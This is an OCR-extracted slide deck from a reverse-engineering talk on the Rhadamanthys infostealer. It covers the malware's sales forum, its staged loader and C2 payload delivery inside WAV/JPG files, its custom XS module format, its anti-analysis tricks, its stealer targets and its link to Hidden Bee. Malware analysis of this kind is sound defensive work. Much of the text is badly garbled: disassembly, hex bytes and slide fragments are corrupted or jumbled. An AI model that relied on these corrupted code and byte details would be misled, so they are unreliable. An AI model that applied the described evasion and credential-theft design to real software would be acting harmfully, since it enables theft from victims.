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What’s this talk about

—~ * Rhadamanthys stealer

a complex malware that
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~) 1. Quick Hands On Rhadamanthys:
* Its earlier history & weirder features
N -Analyzing its stealers directly from a broken
S memdump
\2 Untangling the complexity:

* the logic behind the Rhadamanthys design

* all the flavors of Rhadamanthys modules (native
modules, LUA runner, plugins, and more)
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Settlng the Stage
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(Director of First Impressions

Mo other distributor, beware of scammers: |

15, with the Loader that can execule loading

ver for processing in a imely mannar to mimimize data loss in the avent of a client acc

M icrosoft’
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(Initial Victomology & Success

kingcrete2022
merabant

28.09.2022 B 20:59, DannyGrim ckazan: The stealer rocks.

Seller is 100% | bought and he helped on everything...

C' r- - 1 1 i
Thank you, brother, and your friend who recommended the purchase. Stealer and support Is Just great.

| like this stealer

. Rep++
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== 10,770
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(Peak Targeting (1)

Pale Moon

Your browser, Your way




(Peak Targeting (2)
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Firefox Browser

ADD_ONS Extensions
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(Endless Productivitv

kingcrete2022 = B é
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The bip39 helper word analysis function is completed

kingcrete2022
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: v0.3.2 update:
ance detecion - — SR TR . e prerey 1. Telegram notifications, suppt
o1 uild execution [ ¥ B WY o Ny & 2. Installation source settings a
onditional item for fi pe 5 ‘- - 5 T
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From broken memdump to direct
RE of i1infostealiling




(Fundamentals of RE
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Expectation vs Reality




' The other school of RE




' The Goal in Sight
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¥ Downloads

C:\Users\Admin\AppData\Roaming\nsis_unse57b517.dll
Filesize
MD

Download

'C:-.L'H
c/71a9f445df4b0f3
Users\Admin\AppData\Roaming\nsis_unse57b517.dll

Download

memory/4816-138-0x0000000000000000-mapping.dmp Download

memory/4816-141-0x0000023ED8390000-0x0000023EDE8397000-memory.dmp
— ; Download
Filesize 28KB

memory/4816-142-0x00007FF42B5C0000-0x00007FF42B6BA000-memory.dmp

Filesize 1000KB Download

memory/4816-144-0x00007FF42B5C0000-0x00007FF42B6BA000-memory.dmp

T000KB Download

\



Strings?...

|

~)

[ben@thinkpad-x1 dump]$ strings 4816-142-0x00007FF42B5C0000-0x00007FF42B6BAO0OO-memory.dmp |

SELECT title, url FROM (SELECT * FROM moz_ bookmarks INNER JOIN moz places ON moz bookmarks.fk=moz places

unig| |

SELECT url FROM (SELECT * FROM moz annos INNER JOIN moz places ON moz annos.place id=moz places.id) t GROUP BY place id

FirefoxPortable

\tit}e
st??\\\gxplry
—isSecure
TisHttpOnly
encryptedPassword
encryptedUsername
~_formSubmitURL
NSS Shutdown
SECITEM ZfreelItem
PK11l FreeSlot
PK11l GetInternalKeySlot
PK11l Authenticate
—~—~_PK11SDR Decrypt
NSS Init
— hostname
firefox %08x
——thunderbird %08x

AN AR
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Aye, There's the Rub

4C 8D 5C 24 48 lea rll, [rsp+38Bh+reg key]

43 8D 15 34 BA @B @0 lea rdx, aSoftwareMicros ; "SOFTWARE\\Microsoft\\Cryptography"
41 B2 @1 &8 aa Ba mow rad, 1

45 33 (8 xor réd, rid

48 C7 C1 82 a8 28 B8 mow rcx, @FFFFFFFF88000882h ; pExpr

4C 39 5C 24 28 mov [ rsp+388h+1lpMaximumComponentlength], rll ; target

FF 15 11 3A @B @@ call cs:qword C5CE8
test eax, eax

] short loc_ 122B8

J

rcx, [rsp+38Bhi+reg key]
48 8D 44 24 448 lea rax, [rsp+383h+VolumeSerialNumber]
48 8D 15 EC 89 8B @8 lea rdx, aMachineguid ; “"MachineGuid™
48 B9 44 24 28 mov [rspt+388h+1lpFileSystemFlags], rax
48 8D B4 24 6B 81 @0 28 lea rax, [rsp+388h+RootPathName]

45 33 (9 xor rod, rod

45 33 (8 xor réd, ra8d

C7 44 24 44 @3 82 o8 oa mov [rsp+388h+VolumeSerialNumber], 288h

48 B9 44 24 28 mov [ rsp+388h+1pMaximumComponentLlength], rax
FF 15 76 39 @B 00 call  cs:qword_C5C@8 |

85 8 test eax, eax

75 17 jnz short loc_ 122AD

//////"
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So close, yet..

Segeea : popeapoapaaC>CAB
seghbe : bobboboaRea > CAB
Segepa : peseapoapaeC>CEe
seghbe : BobboboabeaC>(Ee
segepa : popeapaapaeC>CE8
seghba : bobboboabeaC>CLa
segepa : popeapaapaeC>CCa
seghba : bobbeboabeaC>CDa
segepa : peseapaapaeC>CDe

- _’\*ﬂ T T T

qword _C5CA8
qword CSCAB
qword _C5CB@

qword C5CE3
qword C5CC8
gword _C5CC3
qword C5CD8

JFFBF34A3B7@h
JFFEF34A2828h
JFFBF34A3668h

JFFBF34A3988h
JFFEF34A2138h
JFFBF34A2C7@h
JFFEF34A3298h

; DATA XREF: multiSelectOrderBy+33tr
; DATA XREF: multiSelectOrderBy+181tr
; DATA XREF: multiSelectOrderBy+11Etr
; multiSelectOrderBy+3BCTr

; DATA XREF: multiSelectOrderBy+1591r
; DATA XREF: multiSelectOrderBy+3C5tr
; DATA XREF: multiSelectOrderBy+3091r
; DATA XREF: sqlite3VitabOverloadFunction?+DCEtr -
; sqlite3vtabOverloadFunction?+DE@Tr ... =

A

, ]
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(A Desperate Effort

Submission

Target Platforms

winapi_test.exe

x
Automatic
Filesize i

1IMB
== Windows == 12:'1?03
Completed

-0- 11
2-0-2023 21110 ‘ macoS 10:'35
File tree i Ancoid i 10
. winapi_test.exe .

f\a Linux Qe

armhf
Files selected: 1/32 Analyza Languages

Mde-de es-es it-it ja-jp

Internet Access

m OFF Tor 200 404 DONS

Timeout

30

Browser




(Kludging a Copy of the DLL

-
¥ Downloads

C:\Users\Admin\Downloads\kernel32.dll
1b6d9bd5677f3feB25a7c c62
A ) db7bb0 )’ 3 ef87

682459763 dagsecd2aba9q3zeod [ sumt

0575865048175 14622559484 212¢272b9ad514466f21bdcfe98b1d7d5f25798




Now for the Hard Part

¥ Downloads A

C:\Users\Admin\Downl s\kernel32.dll

reaﬁﬁﬂuﬁﬂﬁﬁﬁﬁﬂﬂﬁﬁﬁ| L AR

= c\-‘\-‘!—‘lb\-‘\-‘\-‘!—‘\-‘b\-‘\-‘\-‘!—'_j_ =
Seghon : BoabopaepaC>CAR qword_C5CAS dq 7FFEF34A3B7@n ; DATA XREF: multiSelectOrderBy+33tr
segBon : B000RaaRaC5CAE qword C5CAS dq /FFBF34A2828h ; DATA XREF: multiSelectOrderBy+1@1tr
Seghon : BoobopabepaC>CEe qword C5CEE dq 7FFEF34A3668h ; DATA XREF: multiSelectOrderBy+11Etr
segfaa : 0000002220 5C B0 3 multiSelectOrderBy+3BCTr
Seghon : Bobbbbabepra (B8 qword C5CES dq /FFEF34A3988h ; DATA XREF: multiSelectOrderBy+1591tr
segdon : B0000aaRa (e qword C5CCA aq JFFBF34A2138h ; DATA XREF: multiSelectOrderBy+3C5tr
SegBon : BoaboaeraC>CCE qword C5CCE dq 7FFEF34A2C7@h0 ; DATA XREF: multiSelectOrderBy+3D9tr

~|seghod : BeBReRaaRC5CDE qword C5CDE dq JFFBF34A3298h ; DATA XREF: sqlite3VitabOverloadFunction?+DCEtr

= o ¥

<egfaa : A00aa0aaaaaC SCDE ; sqlite3vtabOverloadFunction?+DE@Tr ...
—_—— T - T e e N NN

[/
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Guess the DLL?..

[rsp+38Bh+reg_key]

aSoftwareMicros ; "SOFTWAREA\Microsoft\\Cryptography"
L

rad

AFFFFFFFFB0000082h ; pExpr
388h+1pMaximumComponentLlength], rll ; target
ard_C5CEB
28X
loc_122B8

Y

~  rcx, [rsp+38Bhireg key]

rax, [rsp+383h+VolumeSerialNumber]
rdx, aMachineguid ; “"MachineGuid™
[rspt+388h+1lpFileSystemFlags], rax
rax, [rsp+388h+RootPathName]

rod, rod

réd, ra8d
[rsp+388h+VolumeSerialNumber], 288h

[ rsp+38Bh+1pMaximygpComponentlength], rax
cs:auor_cscos | (|
eax, eax

N

short loc_ 122AD




(Delta Hunting

: 0000000RRRACSCAR F2222222 /
: jg 7FFEF34A3B78h ; DATA XREF: multiSelectOrderBy+33tr

JFFEF34A2828h ; DATA XREF: multiSelectOrderBy+1@1tr

7FFBF34A3668h ; DATA XREF: multiSelectOrderBy+11Etr
3 multiSelectOrderBy+3BCTr

‘?==E=E-4.-'-.E-EJESI'| ; DATA XREF: multiSelectOrderBy+1591tr
. /FFBF34A2138h ; DATA XREF: multiSelectOrderBy+3C5tr ///////”

!'-‘"E“-‘l-—.?_'.i?ﬁh ; DATA XREF: multiSelectOrderBy+3D9tr
7FFEF34A3298h ; DATA XREF: 5qlltEBUtahGuErluadFunctlnn3+DEETP
; sqlite3vtabOverloadFunction?+DE@tr




Delta Hunting - Script

exports = list(Functions(0x0000000000000000,0xFFFFFFFFFFFFFFFF))

def dll_match(imports):
result = []
import_anchor = imports[0]
for anchor 1in exports:
if all([anchor+(_import-import_anchor) in exports for _import in imports]):
result.append({_import:get_func_name(anchor+(_import-import_anchor)) for _import

in imports})
return result

w0




(Delta Hunting - Results

P [Ox7ffbf1lbd5950, Ox7ffbflbd5f20, Ox7ffbflbd6a80, Ox7ffbflbd5f90, Ox7ffbflbd6830,

g

Ox7ffbflbeedcod, Ox7ffbflbeel20, Ox7ffbflbc42d0, Ox7ffbflbdbS70, Ox7ffbflbde780, Ox7ffbflbd6c50

, .
Gx?ffbfldeQdG,lBx?ffbflbd6498, Ox7ffbflbd5f40, Ox7ffbflbd7580, Ox7ffbflbd7530, Ox7ffbflbd6a20] ///

N

B lumina: applied metadata to 75 functions.
The initial autcanalysis has been finished.
Python>dll match([e@x7ffbflbd5958, @x7ffbflbds fLE B@x7ffbfibdeasge, ex7ffbflbdsfae, ex7ffbflbdes3@, @x7ffbfib
8x7ffbflbdbo7a, ex7ffbflbde738, @x7ffbflbdecse, Bx7ffbflbdeode,
[{Px7fTbflbd5 31, Hc?ffhflhdelﬁ "RegQuer

GetTokenInformatic hflhdwEEE 'LoockupAccounts
¥ R E ¥

yWalueExWstub', @x7ffbflbdeag@: 'OpenPro
B W', Bx7TTbTlbeedcd: 'CredEnumerateWStub',
ueryInfokeyAStub®, H(?ffhflhth 7@: 'RegConnectRegistryl', @x7ffbflbde78@: 'GetUserNameld

'RegOpenKeyExWstub®, @
28: 'RegCloseleyStub'}]

Re
=
W f

e

Qu »
gEnumValueWStub', @x7ffbflbde49@: 'RegQueryInfokKeyWStub', ex7ffbflbdstaa:
ffbtlbd7538@: 'SetSEcurityﬂescriptDPDaclStuh', Ex?ffhflhdf a2

Bx7ffbflbde49e, @x7ffbflbd5f48, @x7ffbflbd7

/ /@,— ;

1: ax7ffbflbca2de,
ffhflhd?SJH, @x7ffbflbdea2e])

E uh y @x7TTbflbd5To8:

CredFreeStub’, @x7ffbflbc42de:
H{Tffhflhdﬁﬂdﬁ.
'InitializeSecurityDescriptorStub’,
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Readable DB

r8, a5 1 “Ks\\".*"
r9, root_dir
rdx, bufferlen

rex, [repracahebtree]
rdx, full file path
ecuril

, [Faps2Chscurrent_fou

, 45§ i "XsA\Rs®

; bufferien
, full

[rspsacaibtron
[rspt2

full_file |

00 09

98 00
20 00

90 @1

78 91
01

8e

20 20
20 @0

rdx, aloginDeta 1 *\\Login

xmm@, xmwword ptr
xmmword ptr [rspi4s
[rbp+¢ riSw
cs:lstreath

rdx, [rspi488habuffer]
rex, rbox
mre_readfilewrapper

cax, risd

loc_2EEBD

lea rex, [rspasshebuffe
call sqlite_initiolize db

rax, rls
rdi, rax

loc_2€

rax, a0riginUrl
[rsp+d88htvar_45
esi, 3
[rsp+a88htvar_
rox, aUsernasmeValue

[rsp+agBhtver_
rax, [rspi488h+
r9, rsi
[rsp+a88hivar
rax,

FeX,
[rsp+a88hty

rsp+488hivar

3ql_select_statement

rax, ri15
short loc_2EE

[rsptaBBhtvar
rex, [rspass
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Untangling the complexity




Untangling the complexity

o

—~) * Rhadamanthys consists of modules

* The core malicious modules will be downloaded

§§§\ only after the environment was checked

‘\\\:°Only the first component 1s a PE: all the wvital
~. functionality 1s 1mplemented 1n form of

“shellcodes”

N | 4

= |



Untangling the complexity

AN . | 1

—) * Rhadamanthys consists of modules

eIt 1s organized 1n the way that the real
malicious modules will be downloaded only afte
the environment 1s checked

*Only the first component 1s a PE: all the wvita

Wy functionality 1s implemented 1n form of
shelleedes — well, not really. It uses custom
formats, with a structure analogous to PE, yet
completely reworked by the author to not

~_ resemble 1t

W,

r é;%é
L



~ The custom formats

A . . (

“Ne Tt is a form of obfuscation, which:
* Is meant to mislead tools used for automated dumping

§§§§\ (no artifacts that resemble PE can be found 1n
N memory — only code)

\\\\\ * Makes the life of the analyst harder: unpacking and
e understanding of the important components require
some reconstructive work

* Components cannot be parsed by typical analysis
tools

/
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The staged loader

Only the first
module is a PE

Initial loader (PE)

" (shellcode #1)

The first component 1s a standard PE

Stage 2 loader (X51)

Uses further modules
from the package #1.
Prepares downloading

of the Stage 3 (stealers)

(exe)




The staged loader

The exe carries confiliguration and a package
containing other modules

7=
-
Initial loader (PE) /

Stage 2 loader (XS1) = |

The configuration
. . .~ lextbss ym 1 g #1.
including the C2 > (shellcode #1) Prepa ading
of the Stage 3 (stealers)
address
package #1

A package with
multiple other R
modules




The staged loader

oy

\ | ‘ ' £_
~\ * The bootstrap shellcode 1s loaded

Initial loader (PE) /

Stage 2 loader (XS1) = |

> (shellcode #1)
>

package #1

/

— In the version 0.5.0 the shellcode

FEe— loaded from the package is filled SRR

B into .textbss section. In other s

A — i B yersions it may be loaded into a i
private memory
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The staged loader

Shelléode loads the next component (Stage

Initial loader (PE)

" (shellcode #1)

Stage 2 loader (X51)

Uses further modules
from the package #1.

wnloading The com ponent

of the Stage 3 (stealers)

in @ custom
format




)
P

The staged loader

R 8

\ | | » F
* The custom module continues with the loading

The component unhook /

\\
\ | n a custom from package #1
\

strategy

format - c2 --f'.:, T

another part of
loding chain

from package #1

lnads dt

FrOm kage -:L_r.-"
from package #1 netclient

/
d
/
Stage 2 loader (XS1) from package #1 package #2 /
loads

/

from package #1 s

s Ses) passed for

proto decryption

package #1

from package #1




\

The staged loader

R 8

!

Loads more
components
from the
package

The next loader
uses the
configuration,
and the passed
package

package #1

unhook

from package #1

strategy

from package #1

loads dt

Stage 2 loader (XS1) from package #1
loads

from package #1

from package #1

L Kkage -:L_r.-"
from package #1 SRR

e Stage Z ldads other components from the package

package #2




B

The staged loader

R 8

/

k\

* The modules check the environment against
monitoring tools

package #1

loads

unhook

from package #1

strategy

from package #1

dt

from package #1

Stage 2 loader (X51)

from package #1

loads

'!‘-.r"l
netclient

from package #1

proto

from package #1

the custom
modules
responsible for
environment
checks

package #2

passed for
decryption




( N
The staged loader

&
\

N . | » /'/4 2~
~0 ®* The next module 1s run only 1f the environment
1s clean

unhook

from package #1

strategy

from package #1

loads dt
from package #1 net;fii;nt S
netclient:
S Stage 2 loader (XS1) from package #1 package #2 downloadin g
loads .
and decrypting
from package #1
T ces! o the next stage
T passed for

proto decr yption
El.c:kgd e #1
D J from package #1




B

The staged loader

R 8

k\

The URL is
retrieved

/

unhook

from package #1

strategy

from package #1

loads dt

L Kkage -:L_r.-"
from package #1 SRR

Stage 2 loader (XS1) from package #1
loads

from package #1

proto

package #1
from package #1

* The CZ Shduld respond with a media file,
carryling the payload

The C2 is
queried after all
the
environment
checks passed




The staged loader

~\* The media file: WAV or JPG

§

w8 = *al; M
i (= = aEndofstren ) Contains encrypted
return 8;
if de I=
t ( resp_code 206 ) paCkage
if { resp_code == 483 || !*(_DWORD *)(al[3] + 4) && resp_code == 488 )
{
* * = fetch_val(0i64); TV | |
Lm DR D A i
Eeturn a;
1
vie = @3

if ( a8 ) AW'WHMMMMWWMMMMMUE

v12 = sub 1@4A76(**i, (int)(*i)[1]);
if ( vi2 )
{
if ( w12 == EptrlontentType )
break;
b
o if ( +v1e >= a8 )
return to_copy_stuff;

/

g
-~

1
vl4 = a7[5 * vl1@ + 3];
. vl3 = &a7[5 * vle];
if ( !strnicmp((const char *}v13[2]| alPG, (size t)wl4) )

i e D e e e Two options Earlier version
Else if ( !strnicmp((const char *)v13[2], aAudioWav, (size_t)v13[3]) ) available: JPG Of RH used the
*(_DWORD *)(vB + 284) = parse_wav; .
’ or WAV following JPG

package #2

EE——— 1
return to_copy_stuff;

}




The staged loader

R 8

!

Runs under the cover of one
of the following :

credwiz.exe
OOBE-Maintenance.exe
openwith.exe
dllhost.exe

rundll32.exe

Stage 2 (X51)

-
4

A4

package #1 modules

1
— netclient

— T swowsd?

phexec

unpacking shellcods
1 Run a 64-bit process | (B4-bit)
.. andinject

N Stage 3 (XS2)
prepare — B4-bit

unpacking shellcode
[32-hit)

Stage 3 (X52)
32-bit

* There 1s still a blit more complexity..

a
F

—

2

e
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The final stage:

/bin/i386/coredll.bin

components

tummm Type  |Role
package #2

Package #2
carries the
components for
the final stage

/binflamd64/coredll.bin

/bin/i386/stubmod.bin
/binflamd64/stubmod.bin

/bin/i386/taskcore.bin
/binflamd64/taskcore.bin

/bin/i386/stubexec.bin

/binfamd64/stubexec.bin Aoz

/bin/KeePassHax.dll PE (.NET)

/bin/runtime.dll PE ((NET)

/bin/loader.dll PE (.NET)

"'""—‘_\\-\\;\ = /

Main stealer module

Prepares a .NET environment inside the
process, to load other .NET modules

Manages additional modules for the tasks
supplied by the C2

Injects into regsvr32.exe, and remaps the
module into a new process

Steals KeePass credentials

Runs PowerShell scripts and plugins in the form
of .NET assemblies

General purpose .NET assemblies runner

P




The XS format

~ . 2 P

N

A . /
~\°*Since version 0.4.5 Rhadamanthys uses a custom

format with XS magic(two variants, XS1 and XS2)

Address | Hex ASCIT
8 53 0B O 3 D0 _0F [ ; struct xsl format
DOGEACFE| 80 10 00 00|64 00 00 00|00 BO OO0 00|00 00 00 00| ....d.ee.®euun.. =
OGEADOE . T T {
NOGEADLE | BC GE I ] S T, o s
DOGEADZE | 8C 0 i h Lot _WORD magic;
:::‘;Eiﬁ;{f 8C A 0 _WORD nt_magic;
DO GE, 00 00 A, WORD sections count;
2l , an an - : _
8| 20 " CEIEE I _WORD imp key;
DOGEADSSE | ! 90 G0 90 90 F0| e v v rnn e : .
DOGEADSE | ! 90 G0 90 90 0| c e _WORD header_size;
O0GEADAS | * 90 = TU O T w1 WORD unk 3;
DOGEADES | ! 90 G0 90 90 0| c e — — .
O0GEADCS | ¢ a0 I I T 1 1 _DWORD module_51ze ;
. D0GEADDE 00 4C 8B D1 BEB|.H:......... L.R, - .
el (1) 5E ADE & i 9 C8 4C 00| ......A.....éEL. _DWORD entry point;
OOGEADFS FF DO C2 04|....¥q.¥q.y1yBA. xsl data dir imports;
D0GEAEDE 55 8B EC 57 | IIITITTITITU.Iw — — 7 -
= DOGEAELS BE D1 03 C&|V.u..M..}..A. R. & xsl data_dir exceptions;

xsl data_dir relocs;
Xs_section sections[SECTIONS_ COUNT] ;



The XS format

N |
~)*How 1t differs from the PE?

Custom, unfamiliar
header

Atypical sections
layout

Customized data
directories:
relocations,
imports, etc

Obfuscated imports



The XS format
AN . | B &

~\ *We were able to create a tool that can convert
an XS component, dumped from memory, 1nto a PE

- & 8 9 F B & |
® 1 2 3 456 7 8 9 ABCDETF 0123456789ABCDEF L —

P DOSs Header
B . 5000 5 39 BL 10 00 BB F8 59 8D 45 M . o:...o0v:0t5.E.P
DOS stu so10 ;

~ P NT Headers 5620

= rh_00F30000.bin.pe

ju.Wj.juayd.At.y
§.0°....pE.TAPY

P signature 5030 B - 7 5 38 B F o0 WYL B

B File Header 5040 9 3 5E 5B €9 €3 55 8 Rl ¥ A" IEAU.100.EG : Converted data

B optional Header Disasm:#O‘General StringleOS HdrlFiIe Hdr | Optional Hdr | Section Hdrs | ® Imports |- Basel{ M g e .
ReconStrUCted PE P section Headers Hex Disasm Hint : d I reCtorIeS'

A 588F 58 PUSH EAX =
~ Sections I t
header a #0 5816 FF7508 PUSH DWORD PTR [EBP + 8] re Oca Ions’
.
= 5813 57 PUSH EDI .
5814 FALD PUSH 8X19
.~ Ep=i0s0 ais sh o | imports, etc
- #1 5816 FF75FC PUSH DWORD PTR [EBP - 4]
D
at # 5819 FFD& CALL ESI
o A 581B 85C8 EST EAX, EAX
#3 i 581D T41A b 4 JE SHORT @x1085839
#4 581F FF37 PUSH DWORD PTR [EDI]
5821 FF1528B01088 “W CALL DWORD PTR [8X18B828] [ADVAPI32.d11].GetSidSubAuthorityCount
5827 BADB MOV AL, BYTE PTR [EAX]
5829 FEC8
5828 GOFB&CE o, AL

502E 5@ PUSH EAX D bf t d
. 502F FF37 PUSH DWORD PTR [EDI] eo usca e )
Normahzed 5031 FF152CB0O1000 W CALL DWORD PTR [BX18B82C] [ADVAPI32.d11] .GetSidSubAuthority

- g-:::; Ejl* Pwr_zg[rl DWORD PTR [EAX] eaSily pa rsable
sections |ay0Ut £ so3 T

[BX18B138] [MSVCRT.d11].free .
e imports

Converter:

https://github.com/hasherezade/hidden bee tools/

tree/master/bee 1lv1l2 converter



https://github.com/hasherezade/hidden_bee_tools/tree/master/bee_lvl2_converter
https://github.com/hasherezade/hidden_bee_tools/tree/master/bee_lvl2_converter

The XS format

N |
~) * The XS header 1is a
header

struct xsl format

{

P

minimallst rework of PE‘

WORD magic;
WORD nt magic;

_WORD sections_count; key for
_WORD imp key; .
| WORD header size; | deobfuscation

new field: XOR

_WORD unk_3;

_DWORD module size;
_DWORD entry point;

xsl data_dir imports;
xsl data_dir exceptions;
xsl data_dir relocs; Basiiina
Xs_section sections[SECTIONS_ COUNT] ;




The XS header obfuscation

= - . y

\ . -
~\*After the loading completed, the header 1is

overwrlitten with random bytes

Before




i ™
~ The XS format - sections
~*Not all sections that are i1n the raw format are

to be loaded. It 1s determined by a flag 1f the
section 1s to be loaded or not.

Section #1
i
Inaccessible pages
Section #2 between sections make

\\ . .
dumping contiguous
PAGE_NOACCESS
memory harder

Section #3

\/



( The XS format

~*Only 3 data directories

struct xsl format

{
WORD magic;

:WORD nt magic;

_WORD sections_count;

_WORD imp key;

_WORD header size;

_WORD unk_3;

_DWORD module size;
DWORD entry point;

xsl data_dir imports;

xsl data_dir exceptions;

xsl data dir relocs;

Xs_section sections[SECTIONS_ COUNT] ;




P

The XS format - relocations
N\ . | . g

=) I xs_relocs groTt m e e Relocations are stores as

{ { . .
DWORD count; | struct xs_relocs_block pairs, condensed into 3 / ,

locs block blocks[1]: { : 4
. xs_relocs_bloc ocks[1] |:>} DWORD page rva; byteS. /

] DWORD entries_count; e Ist byte’ 1st nibble
from the 2nd byte

2nd nibble from the
after the list of reloc blocks, there are entries 2nd byte, and 3rd byte
in the following format:

struct xs_reloc_entry {
BYTE fieldl hi;

BYTE mid;
BYTE field2 low;

<




P

The XS format - imports
- . _ N

Ttruct S AR struct xsl import

{

The DLL names are

_WORD magic;

_WORD nt magic;
_WORD sections_count;
_WORD imp key
_WORD header size}
_WORD unk_ 3;
_DWORD module size;
_DWORD entry point;
xsl data dir imports;
xsl data dir exceptions;
xsl data dir relocs;
Xxs_section sections[SECTIONS_ CU

_DWORD dll name rva; obfuscated with the XOR-

DWORD first thunk; . .
_DWORD original first thunk; based algorlthm, using the

_BYTE obf dll len[4]; key from XS header

};

The functions are resolved
by checksums, that are

The key from the main stored in place of thunks

header is used to
deobfuscate the DLL, and

also in checksum
calculation T




XS format- exceptions

BOOLEAN _ fastcall set exceptions_handlers(xs2 format *al)

{
BOOLEAN result; // al

if { al-rexceptions.rva )

if { al-»exceptions.size )
return RtlAddFunctionTable(
{PRUNTIME_FUNCTION)((char *}al + (unsigned int)al-rexceptions.rva),
al-rexceptions.size [ BxCu,
(ULONGE4)al) ;
b

return result;

Registering the exception

handlers in Rhadamanthys (64-
bit)




(

The XS format- exceptions

1 [BOOLEAN _ stdcall RtlDispatchException(PEXCEPTION _RECORD ExceptionRecord, PCONTEXT Context)
2 [
: unsigned int RegistrationHead; //
unsigned int wa; //
unsigned int vs; //
unsigned int ve; //

. . 44
IAT Wiy A

11t o I’

int v8; /.

int (_ stdcall *v1@)(int, EXCEPTION REGISTRATION RECORD *, int, int); //
struct EXCEPTION RECORD vwllj; //

unsigned int wi2; //

int ProcessInformation; //

unsigned int wil4; /7

unsigned int w15; //

BOOLEAN vl1e; //

char ExceptionRecord_3; //

__intB)RtlCallvectoredExcepticnHandlers(

else
{
RtlpGetStackLimits(&v1s, &vid);
= 8;
= RtlpGetRegistraticnHead();

= 1;
if _(—1, ProcessExecuteFlags, & , 4, B) »= 08 BR (

'/ 7ef708080 + 679 -> proxy func

¥

== ProcessExecuteflags )

.,
set additional flag:
ImageDispatchEnable
(make the custom module to be
treated as MEM_IMAGE)




/

The lineage of the custom

formats
N |

RH>=0.45 XS
RH<0.4.5 HS

RH<0.4.5 RS




~ ™

The lineage of the custom
\formats

RH>=0.45 XS

|

RH < 0.4.5 HS |

RH<0.4.5 RS /
s

Identical implementation of G
custom exception handling
can be found in HiddenBee




The Hidden Bee miner

\ © underminer exploit kit landing page

Regswid2
exe

malicious DLL file and open a

@ orop and exscute l Receive a cabinet )

RundIl32
-exe

execute it rundil32 exe pr

© core.sib downloads 2 via encrypted TCP tunnel

Rundli32
exe

© core.sb decodes downloaded payload (romfs), extract coredil.bin from romfs, and executes it

Rundli32
-exe

@ coredibinreads
th ration

execute it TCP tunnel

diagram of the stages - source:
https://www.trendmi

Normal

om/en_us/resea reonole
underminer-exploit-kit-delivers-bootkit-and : @ ey

mining malware i

cryptocurrency-mining-malware-with-encrypted-tcp- et ( ) e
tunnel.html

€39V1S 239V1S 1 39V1S

Diagram of the header of “BABECAFE” filesystem (based on
ROM FS), containing a module in a custom NS format.
Source:



https://www.trendmicro.com/en_us/research/18/g/new-underminer-exploit-kit-delivers-bootkit-and-cryptocurrency-mining-malware-with-encrypted-tcp-tunnel.html
https://www.trendmicro.com/en_us/research/18/g/new-underminer-exploit-kit-delivers-bootkit-and-cryptocurrency-mining-malware-with-encrypted-tcp-tunnel.html
https://www.trendmicro.com/en_us/research/18/g/new-underminer-exploit-kit-delivers-bootkit-and-cryptocurrency-mining-malware-with-encrypted-tcp-tunnel.html
https://www.trendmicro.com/en_us/research/18/g/new-underminer-exploit-kit-delivers-bootkit-and-cryptocurrency-mining-malware-with-encrypted-tcp-tunnel.html
https://www.malwarebytes.com/blog/news/2019/05/hidden-bee-lets-go-down-the-rabbit-hole
https://www.malwarebytes.com/blog/news/2019/05/hidden-bee-lets-go-down-the-rabbit-hole

\

/

|
|

The XS header obfuscation

* NS (Hidden Bee)
* HS (Rhadamanthys)

Comparing the layout of the
full header we can see a
significant overlap




' The lineage of the
\formats

RH >=0.4.5 4
RH<0.4.5 partial
RH<0.4.5

HiddenBee partial

partially customized import table;
same as in HS format

custom




(

Similar modular design

&
\

k\ .

-

~ * The custom packages, having not only analogous
structure, but even the same paths to the

components'!

if ( !sub_10835919(v19) )
1
v5 = sub 18882412(v19, w4 + 18, *wv4, wv4[1]);
Block = w5;
if ( vs )
1
Src = fetch_from package(vS, aBinAmd&4Preloa, &Size);
if ( Sre )
1
if ( Size })
1
ve = fetch_from_package(v5, aBinAmde4Coredl, &v23);
w7 = vb;
if { w6 )

if ( v23 )
{

vB = calloc(lu, *(ve + 12} + 4896);

Rhadamanthys

eax,

aoffset aBi

short lo c_leaadasD

gax,

affset aBinI386Caoredll

Hidden Bee




~ Similar modular design

e ™

\\

* Submodules referenced by paths i1n a format:
/bin/amd64/ [module name] or
/bin/i1386/ [module name], often with .bin
extension

* The components may be 1njected into other
processes, and loaded with the help of
additional shellcodes

e QOverlap 1s so significant that Virus Total
~ 1ldentified some of the Rhadamanthys shellcodes
—— as Hidden Bee components

— e —— — — —

\ | | - 4




~ Who is the Rhadamanthys

|

author? _ .

N | | f
~ *Both Hidden Bee and Rhadamanthys seem to be a
work of the same entity
-A team? One skilled person?
-Uses 1deas and PoCs of others, but with good

understanding
.Also\has—his oWageeriginal ddeas Uy 2

N ._'V{T/‘.>

-Iteratively improve his work Vi

5 & W

g

Rhadamanthys | BEWARE
OF FAKE

=2

I'm back. Work resume d. Wicurren t working version
is V0.6.0




= i
J




Types of the modules

o

N . | | "
~ * Native (XS format, delivered 1n the package)

* LUA scripts (package)

=
-
* The Plugin system: extendibility by custom .NET gégé
modules, following API —
-

* The runners for:

* Custom .NET modules

* PowerShell scripts -
e VBS an JScripts e

——* and more..

e e
SRR e

- — ——— — ~~~-~'--—~‘\\\ = R s



 The chief in command

\\ . . /"

3 | | [
~)* The main module (core.bin) comes with a

hardcoded set of stealers + allows to run
N\ submodules
\§§°Some modules are runners for other plugins and
\\\\ scripts: taskcore.bin, runtime.dll, loader.dll
T~ communicates with the submodules over the named
plipe, collects and sends the results

* However: some modules can also speak directly to the
S




The hardcoded stealers
N . | S

~)* The stealers hardcoded 1n core.bin can be
divided i1nto two groups:

= 1E6AER) 3 profile funcs *g_ProfileCallbacks . .

= 1E@AER] g ProfileCallbacks dd offset wtable chrome profiles PaSS|Ve - parS|ng fou nd
e 1EGAES ; DATA XREF: check_targets_fil . . .

: 1E0AE0 S B IREEP  configuration files

e 1

AEB dd offset wtable filezilla profiles

[ i I I

L7, "L I " I " I " B I I I " " B |
(1]

0o oo o0 o on on o0 oo oo oo oo |
[ = e xR I  Jw  w  w
G 00 00 0 0 0 0 &0 & &5 &
ST ST S S SR S S S
o B s B s B s T s O R s s
[ = e w I w I I B w  w  +

\E4 dd offset wvtable firefox_profiles
e 1 C dd offset wvtable openvpn_profiles
e 1EBAFS dd offset vtable telegram_profiles
e 1EBAF4 dd offset vtable discord profiles
\ = 1EBAFS dd offset vtable stickynotes_profiles
= 1EBAFC ST 1o
seg@ed:p@lE@BRe ; stealer_tuncs ¥g_StealersList

:0B1ERBRE g StealersList dd offset vtable steal chrome_368browser_and_card_data
:P81ERBB8 ; DATA XREF: run_stealers+17tn

ACtlve - Interferlng Wlth ;BE}lEBB@E} run stealers+28Tto ...
